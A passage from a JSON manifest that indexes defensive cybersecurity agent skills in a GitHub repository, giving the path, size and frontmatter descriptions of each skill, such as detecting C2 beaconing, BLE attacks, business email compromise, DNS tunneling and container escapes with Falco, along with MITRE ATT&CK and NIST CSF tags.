conn.log connection intervals to detect C2 beaconing patterns. Uses the ZAT library to load Zeek logs into Pandas DataFrames, calculates inter-arrival time standard deviation, and flags periodic connections with low jitter. Use when hunting for command-and-control callbacks in network data.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["network-security","zeek","c2-beaconing","conn-log-analysis","zat","threat-hunting","statistical-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1071.001","T1071.004","T1573","T1008","T1095"]},"isInternal":false,"tokens":642,"sizeBytes":2645},{"name":"api-reference.md","path":"skills/detecting-bluetooth-low-energy-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-bluetooth-low-energy-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1284,"sizeBytes":5350},{"name":"SKILL.md","path":"skills/detecting-bluetooth-low-energy-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-bluetooth-low-energy-attacks/SKILL.md","title":"detecting-bluetooth-low-energy-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-bluetooth-low-energy-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-bluetooth-low-energy-attacks","description":"Detects and analyzes Bluetooth Low Energy (BLE) security attacks including sniffing, replay attacks, GATT enumeration abuse, and Man-in-the-Middle interception. Uses Ubertooth One and nRF52840 sniffers for packet capture, the bleak Python library for GATT service enumeration, and crackle for BLE encryption cracking. Use when assessing IoT device BLE security, monitoring for BLE-based attacks on wireless infrastructure, or performing authorized BLE penetration testing. Activates for requests involving BLE security assessment, Ubertooth sniffing, GATT enumeration, or BLE replay detection.\n","domain":"cybersecurity","subdomain":"wireless-security","author":"mukul975","tags":["ble","bluetooth","ubertooth","nrf-sniffer","gatt","wireless-security","iot-security","replay-attack"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03"],"mitre_attack":["T1011.001","T1557","T1040","T1200"]},"isInternal":false,"tokens":3187,"sizeBytes":13590},{"name":"api-reference.md","path":"skills/detecting-broken-object-property-level-authorization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-broken-object-property-level-authorization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":521,"sizeBytes":2174},{"name":"SKILL.md","path":"skills/detecting-broken-object-property-level-authorization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-broken-object-property-level-authorization/SKILL.md","title":"detecting-broken-object-property-level-authorization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-broken-object-property-level-authorization%2FSKILL.md -->","frontmatter":{"name":"detecting-broken-object-property-level-authorization","description":"Detect and test for OWASP API3:2023 Broken Object Property Level Authorization (BOPLA), covering excessive data exposure in API responses and mass assignment via injected request-body properties. Use when reviewing API responses/requests for over-exposed or over-writable object fields, or building detection rules and test cases for property-level authorization gaps that object-level checks miss.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","bopla","owasp-api3","mass-assignment","excessive-data-exposure","property-level-authorization","api-testing","penetration-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1213","T1212"]},"isInternal":false,"tokens":3232,"sizeBytes":16016},{"name":"template.md","path":"skills/detecting-business-email-compromise-with-ai/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise-with-ai/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":267,"sizeBytes":927},{"name":"api-reference.md","path":"skills/detecting-business-email-compromise-with-ai/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise-with-ai/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":539,"sizeBytes":2214},{"name":"standards.md","path":"skills/detecting-business-email-compromise-with-ai/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise-with-ai/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":333,"sizeBytes":1336},{"name":"workflows.md","path":"skills/detecting-business-email-compromise-with-ai/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise-with-ai/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":365,"sizeBytes":1388},{"name":"SKILL.md","path":"skills/detecting-business-email-compromise-with-ai/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise-with-ai/SKILL.md","title":"detecting-business-email-compromise-with-ai","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise-with-ai%2FSKILL.md -->","frontmatter":{"name":"detecting-business-email-compromise-with-ai","description":"Deploy AI and NLP-powered detection systems to identify business email compromise attacks by analyzing writing style, behavioral patterns, and contextual anomalies that evade traditional rule-based filters.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["bec","ai","nlp","machine-learning","email-security","behavioral-analytics","impersonation","fraud-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0073","AML.T0052","AML.T0088"],"nist_ai_rmf":["GOVERN-6.2","MAP-5.2","GOVERN-6.1","MEASURE-2.7","MEASURE-2.5"],"d3fend_techniques":["Sender MTA Reputation Analysis","Email Filtering","Sender Reputation Analysis","Homoglyph Detection","Message Analysis"],"nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566.002","T1534","T1114.002","T1657","T1078.004"],"mitre_f3":{"version":"1.1","tactics":["initial-access","stealth","positioning","monetization"],"techniques":[{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1005.006","name":"Account Manipulation: Change of Payment Details","tactic":"positioning","source":"f3"},{"id":"F1022","name":"Delete Relevant Emails","tactic":"stealth","source":"f3"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":1302,"sizeBytes":5695},{"name":"template.md","path":"skills/detecting-business-email-compromise/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":295,"sizeBytes":1173},{"name":"api-reference.md","path":"skills/detecting-business-email-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":512,"sizeBytes":1966},{"name":"standards.md","path":"skills/detecting-business-email-compromise/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":359,"sizeBytes":1427},{"name":"workflows.md","path":"skills/detecting-business-email-compromise/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":624,"sizeBytes":2376},{"name":"SKILL.md","path":"skills/detecting-business-email-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-business-email-compromise/SKILL.md","title":"detecting-business-email-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-business-email-compromise%2FSKILL.md -->","frontmatter":{"name":"detecting-business-email-compromise","description":"Detect Business Email Compromise (BEC) fraud, where attackers impersonate executives or vendors to trick employees into wire transfers or data disclosure without malicious links, using email gateway rules, behavioral analytics, and financial process controls. Use when investigating a suspected executive/vendor impersonation email or building detection rules for social-engineering fund-transfer fraud.","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","bec","fraud"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052","AML.T0088"],"nist_ai_rmf":["GOVERN-6.2","MAP-5.2"],"d3fend_techniques":["Restore Object","Restore Configuration","Application Configuration Hardening","Application Hardening","Disable Remote Access"],"nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566.002","T1534","T1114.002","T1657","T1078.004"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","monetization","stealth"],"techniques":[{"id":"T1672","name":"Email Spoofing","tactic":"stealth","source":"attack"},{"id":"F1032","name":"Impersonate Official","tactic":"initial-access","source":"f3"},{"id":"F1036","name":"New Vendor Setup","tactic":"positioning","source":"f3"},{"id":"F1005.006","name":"Account Manipulation: Change of Payment Details","tactic":"positioning","source":"f3"},{"id":"F1025.003","name":"Electronic Funds Transfer: Wire Transfer","tactic":"monetization","source":"f3"},{"id":"F1022","name":"Delete Relevant Emails","tactic":"stealth","source":"f3"}]}},"isInternal":false,"tokens":1174,"sizeBytes":5159},{"name":"api-reference.md","path":"skills/detecting-cloud-threats-with-guardduty/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-cloud-threats-with-guardduty/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":616,"sizeBytes":2300},{"name":"SKILL.md","path":"skills/detecting-cloud-threats-with-guardduty/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-cloud-threats-with-guardduty/SKILL.md","title":"detecting-cloud-threats-with-guardduty","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-cloud-threats-with-guardduty%2FSKILL.md -->","frontmatter":{"name":"detecting-cloud-threats-with-guardduty","description":"Deploy and operationalize Amazon GuardDuty, covering protection plans for S3, EKS, EC2 runtime monitoring, and Lambda, interpreting finding severity, and building automated response with EventBridge and Lambda. Use when establishing threat detection for AWS accounts, investigating findings on compromised instances or credential abuse, or building automated incident-response playbooks.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["amazon-guardduty","threat-detection","aws-security","runtime-monitoring","cloud-soc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1071"]},"isInternal":false,"tokens":2843,"sizeBytes":12266},{"name":"api-reference.md","path":"skills/detecting-command-and-control-over-dns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-command-and-control-over-dns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":2260,"sizeBytes":8333},{"name":"SKILL.md","path":"skills/detecting-command-and-control-over-dns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-command-and-control-over-dns/SKILL.md","title":"detecting-command-and-control-over-dns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-command-and-control-over-dns%2FSKILL.md -->","frontmatter":{"name":"detecting-command-and-control-over-dns","description":"Detect command-and-control (C2) traffic tunneled over DNS from tools like Iodine, dnscat2, dns2tcp, and Cobalt Strike DNS beacon, using Shannon entropy analysis of query subdomains, ML-based DGA classification, passive DNS correlation, and Zeek/Suricata signatures. Use when investigating suspected DNS tunneling, classifying DGA domains, detecting DNS beaconing, or building DNS anomaly rules for a SOC/SIEM.\n","domain":"cybersecurity","subdomain":"network-security","tags":["dns","c2","tunneling","dga","network-forensics","threat-detection"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1095"]},"isInternal":false,"tokens":13207,"sizeBytes":51954},{"name":"api-reference.md","path":"skills/detecting-compromised-cloud-credentials/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-compromised-cloud-credentials/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":630,"sizeBytes":2521},{"name":"SKILL.md","path":"skills/detecting-compromised-cloud-credentials/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-compromised-cloud-credentials/SKILL.md","title":"detecting-compromised-cloud-credentials","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-compromised-cloud-credentials%2FSKILL.md -->","frontmatter":{"name":"detecting-compromised-cloud-credentials","description":"Detect compromised cloud credentials across AWS, Azure, and GCP by analyzing anomalous API activity, impossible-travel patterns, and credential-stuffing indicators using GuardDuty, Microsoft Defender for Identity, and Google SCC Event Threat Detection. Use when investigating alerts about cloud API activity from unfamiliar locations, responding to an exposed-credential notification, or scoping a credential compromise.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","credential-compromise","threat-detection","guardduty","incident-response","anomaly-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment"],"techniques":[{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1586.003","name":"Compromise Accounts: Cloud Accounts","tactic":"resource-development","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"defense-impairment","source":"f3"}]}},"isInternal":false,"tokens":3666,"sizeBytes":15551},{"name":"template.md","path":"skills/detecting-container-drift-at-runtime/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-drift-at-runtime/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":173,"sizeBytes":728},{"name":"api-reference.md","path":"skills/detecting-container-drift-at-runtime/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-drift-at-runtime/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":486,"sizeBytes":2043},{"name":"standards.md","path":"skills/detecting-container-drift-at-runtime/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-drift-at-runtime/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":274,"sizeBytes":1225},{"name":"workflows.md","path":"skills/detecting-container-drift-at-runtime/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-drift-at-runtime/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":384,"sizeBytes":1785},{"name":"SKILL.md","path":"skills/detecting-container-drift-at-runtime/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-drift-at-runtime/SKILL.md","title":"detecting-container-drift-at-runtime","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-drift-at-runtime%2FSKILL.md -->","frontmatter":{"name":"detecting-container-drift-at-runtime","description":"Detects unauthorized runtime drift in containers by monitoring binary execution, filesystem changes, and configuration deviation from the original immutable image, using Falco and Microsoft Defender for Containers. Use when validating immutable-infrastructure controls, hunting for unexpected package installs or binaries written inside a running container, or determining whether a container diverged from the image it was built from. Keywords: drift, immutable infrastructure, new binary executed, package install, image mismatch, Falco. Do not use for detecting breakout from the container to the host - use detecting-container-escape-attempts.","domain":"cybersecurity","subdomain":"container-security","tags":["container-drift","runtime-security","immutable-containers","falco","kubernetes","container-security","drift-detection","microsoft-defender"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":1941,"sizeBytes":8548},{"name":"template.md","path":"skills/detecting-container-escape-attempts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-attempts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":325,"sizeBytes":1356},{"name":"api-reference.md","path":"skills/detecting-container-escape-attempts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-attempts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":610,"sizeBytes":2261},{"name":"standards.md","path":"skills/detecting-container-escape-attempts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-attempts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":575,"sizeBytes":2381},{"name":"workflows.md","path":"skills/detecting-container-escape-attempts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-attempts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":508,"sizeBytes":3067},{"name":"SKILL.md","path":"skills/detecting-container-escape-attempts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-attempts/SKILL.md","title":"detecting-container-escape-attempts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-attempts%2FSKILL.md -->","frontmatter":{"name":"detecting-container-escape-attempts","description":"Detects container escape at runtime across tooling - namespace manipulation, capability abuse, kernel exploits, sensitive host mounts, and anomalous syscalls - and explains which signals matter regardless of whether Falco, Sysdig, auditd, or an EDR is doing the collection. Use when deciding what breakout behaviour to monitor, investigating a suspected Docker or Kubernetes breakout, or comparing escape coverage across runtime sensors. Keywords: container escape, breakout, namespaces, CAP_SYS_ADMIN, privileged, hostPath, kernel exploit, syscall. Do not use for Falco rule syntax itself - use detecting-container-escape-with-falco-rules; for a static configuration sweep use performing-container-escape-detection.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","kubernetes","docker","security","runtime-security","escape-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Monitoring","Process Code Segment Verification","Stack Frame Canary Validation","Segment Address Offset Randomization","Process Analysis"],"nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":2934,"sizeBytes":11537},{"name":"template.md","path":"skills/detecting-container-escape-with-falco-rules/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-with-falco-rules/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":466,"sizeBytes":1904},{"name":"api-reference.md","path":"skills/detecting-container-escape-with-falco-rules/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-with-falco-rules/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":649,"sizeBytes":2387},{"name":"standards.md","path":"skills/detecting-container-escape-with-falco-rules/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-with-falco-rules/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":632,"sizeBytes":2616},{"name":"workflows.md","path":"skills/detecting-container-escape-with-falco-rules/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-with-falco-rules/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":801,"sizeBytes":2948},{"name":"SKILL.md","path":"skills/detecting-container-escape-with-falco-rules/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-escape-with-falco-rules/SKILL.md","title":"detecting-container-escape-with-falco-rules","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-escape-with-falco-rules%2FSKILL.md -->","frontmatter":{"name":"detecting-container-escape-with-falco-rules","description":"Writes and tunes Falco rule syntax for container escape detection - conditions, macros, lists, priorities, and output fields - covering host filesystem mounts, sensitive host path access, kernel module loading, and privileged capability abuse, including how to drive down false positives. Use when authoring or tuning a specific Falco rule for breakout behaviour, or triaging a noisy escape-related Falco alert. Keywords: Falco rule, macro, list, condition, priority, falco_rules.local.yaml, tuning, false positive. Do not use for deploying and operating Falco itself - use detecting-container-runtime-threats-with-falco; for tool-agnostic escape signals use detecting-container-escape-attempts.","domain":"cybersecurity","subdomain":"container-security","tags":["falco","container-escape","runtime-security","syscall-monitoring","kubernetes","detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Execution Isolation","File Metadata Consistency Validation","Restore Access","Application Protocol Command Analysis"],"nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1068"]},"isInternal":false,"tokens":2677,"sizeBytes":10768},{"name":"api-reference.md","path":"skills/detecting-container-runtime-threats-with-falco/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-runtime-threats-with-falco/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":737,"sizeBytes":2689},{"name":"standards.md","path":"skills/detecting-container-runtime-threats-with-falco/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-runtime-threats-with-falco/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":429,"sizeBytes":1821},{"name":"SKILL.md","path":"skills/detecting-container-runtime-threats-with-falco/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-container-runtime-threats-with-falco/SKILL.md","title":"detecting-container-runtime-threats-with-falco","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-container-runtime-threats-with-falco%2FSKILL.md -->","frontmatter":{"name":"detecting-container-runtime-threats-with-falco","description":"Deploys and operates Falco with the modern eBPF driver in Kubernetes and Docker, covering driver selection, Helm installation, output channels, and the built-in ruleset that detects container escape, namespace abuse, privileged mounts, and anomalous syscalls. Use when standing 